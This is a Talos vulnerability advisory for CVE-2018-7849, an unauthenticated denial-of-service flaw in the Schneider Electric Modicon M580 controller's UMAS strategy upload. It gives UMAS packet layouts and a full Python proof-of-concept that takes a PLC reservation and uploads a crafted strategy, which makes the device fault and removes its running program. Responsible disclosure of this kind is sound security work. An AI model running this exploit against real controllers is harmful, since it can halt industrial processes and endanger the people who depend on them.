Talos Vulnerability Report

TALOS-2018-0737

Schneider Electric Modicon M580 UMAS strategy transfer denial-of-service vulnerability

June 10, 2019
CVE Number

CVE-2018-7849

Summary

An exploitable denial-of-service vulnerability exists in the UMAS strategy transfer functionality of the Schneider Electric Modicon M580 programmable automation controller firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a recoverable fault state, resulting in a stoppage of normal device execution. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

The Modicon M580 is the latest in Schneider Electric's Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as "UMAS."

When programming a new strategy to a Modicon M580, six UMAS commands must be used in a specific order. First, a valid session and additional privilege must be obtained via a TAKEPLCRESERVATION request. This request gives the session the ability to successfully send privileged commands. With a valid reservation obtained an INITIALIZE_UPLOAD command must be sent, indicating that the new program will be following.

After the upload has been initialized, the first block of data must be sent to the device using an UPLOAD_BLOCK command. Failure to do so will prevent the device from accepting the upload.

Next, a command with the function code 0x6D must be sent. When this command is successfully received, the new strategy must be sent to the device in chunks of size 0x3F4 using the UPLOAD_BLOCK command. When sending the strategy it is important to resend the first block. Failure to do so will prevent the device from accepting the upload.

Once the strategy has been successfully sent, an ENDSTRATEGYUPLOAD request must be sent to indicate that the last block has been sent. Finally, a RELEASEPLCRESERVATION command must be sent to give back the device reservation and restore the normal operating state.

The structure of a TAKEPLCRESERVATION command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E |   F   | G |               H
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1 
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code   (0x10)
D --> Unknown              (0x3B)
E --> Unknown              (0x0E)
F --> Unknown              (0x0000)
G --> Client Name Length   (size of Client Name)
H --> Client Name          (variable size)

The structure of the 0x6D command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |
  +---+---+---+

A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code   (0x6D)

The structure of a INITIALIZE_UPLOAD command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |   D   |
  +---+---+---+---+---+

A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code   (0x30)
D --> Unknown              (0x0001)

The structure of a UPLOAD_BLOCK command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |   D   |   E   |   F   |               G
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1 
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code   (0x31)
D --> Unknown              (0x0001)
E --> Block Number
F --> Block Size           (0x03F4)
G --> Data                

The structure of a ENDSTRATEGYUPLOAD command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |   D   |   E   |
  +---+---+---+---+---+---+---+

A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code   (0x32)
D --> Unknown              (0x0001)
E --> Blocks Sent

The structure of a RELEASEPLCRESERVATION command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | 
  +---+---+---+

A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code   (0x11)

If the strategy uploaded during this process does not properly implement the file integrity checks it will cause the device to fail at the ENDSTRATEGYUPLOAD step and trigger a recoverable fault state. In this state, the device stops its normal execution and removes the existing strategy. Recovery is possible through the use of the programming software UnityPro.

Exploit Proof of Concept

import struct
import socket
from time import sleep
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse

def send_message(sock, umas, data=None, wait_for_response=True):
    if data == None:
        packet = ModbusADURequest(transId=1)/umas
    else:
        packet = ModbusADURequest(transId=1)/umas/data
    msg = "%s" % Raw(packet)
    resp = ""
    sock.send(msg)
    if wait_for_response:
        resp = sock.recv(2048)
    return resp

def main():
    rhost = "192.168.10.1"
    rport = 502

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))

    # TAKE_PLC_RESERVATION
    mbtcp_fnc = "\x5a"
    init_session = "\x00"
    umas_fnc = "\x10"
    unknown = "\x25\x10\x00\x00"
    client_name = "test"
    client_name_len = len(client_name)
    umas = "%s%s%s%s%s%s" % (mbtcp_fnc, init_session, umas_fnc, unknown, client_name_len, client_name)
    res = send_message(sock=s, umas=umas)
    if res[9] != "\xfe":
        print "[!] an error has occurred getting the PLC reservation"
    session = res[-1]

    # INITIALIZE_UPLOAD
    umas_fnc = "\x30"
    unknown = "\x00\x01"
    umas = "%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown)
    send_message(sock=s, umas=umas)

    # Read in prepared APX file
    data = ""
    with open("Station.apx", 'rb') as f:
        data = f.read()

    # Build APX File Blocks
    apx_len = len(data)
    blocks = []
    block = {}
    block_len = 0x3f4
    block_number = 1
    for i in xrange(apx_len):
        mod = i % block_len

        if mod == 0:
            block = {}
            block['blockNum'] = block_number
            block['data'] = data[i]
            blocks.append(block)

        else:
            blocks[block_number-1]['data'] = "%s%s" % (blocks[block_number-1]['data'], data[i])
            if mod == block_len-1 or i == apx_len-1:
                block['blockDataSize'] = len(blocks[block_number-1]['data'])
                block_number += 1

    # UPLOAD_BLOCK request for First Block
    umas_fnc = "\x31"
    block_num = 1
    block_size = len(blocks[block_num]['data'])
    conv_block_num = struct.pack("<H", block_num)
    conv_block_size = struct.pack("<H", block_size)
    umas = "%s%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown, conv_block_num, conv_block_size)
    send_message(sock=s, umas=umas, data=blocks[0]['data'])

    # Required FNC 0x6D
    umas_fnc = "\x6d"
    umas = "%s%s%s" % (mbtcp_fnc, session, umas_fnc)
    send_data = "00040101000000".decode('hex')
    send_message(sock=s, umas=umas, data=send_data)

    # UPLOAD_BLOCK request with repeated First Block
    send_data = ""
    umas_fnc = "\x31"
    blocks_len = len(blocks)
    for i in xrange(blocks_len):
        conv_block_num = struct.pack("<H", blocks[i]['blockNum'])
        block_size = len(blocks[i]['data'])
        conv_block_size = struct.pack("<H", block_size)
        umas = "%s%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown, conv_block_num, conv_block_size)
        send_message(sock=s, umas=umas, data=blocks[i]['data'])
        sleep(.02)

    # END_UPLOAD
    umas_fnc = "\x32"
    unknown = "\x00\x01"
    num_blocks = struct.pack("<H", len(blocks))
    umas = "%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown, num_blocks)
    send_message(sock=s, umas=umas)

    # RELEASE_RESERVATION
    umas_fnc = "\x11"
    umas = "%s%s%s" % (mbtcp_fnc, session, umas_fnc)
    send_message(sock=s, umas=umas)

    # clean up
    s.close()

if __name__ == '__main__':
    main()

Timeline

2018-12-10 - Initial contact
2018-12-17 - Vendor acknowledged
2019-01-01 - 30 day follow up
2019-05-14 - Vendor Patched
2019-06-10 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos.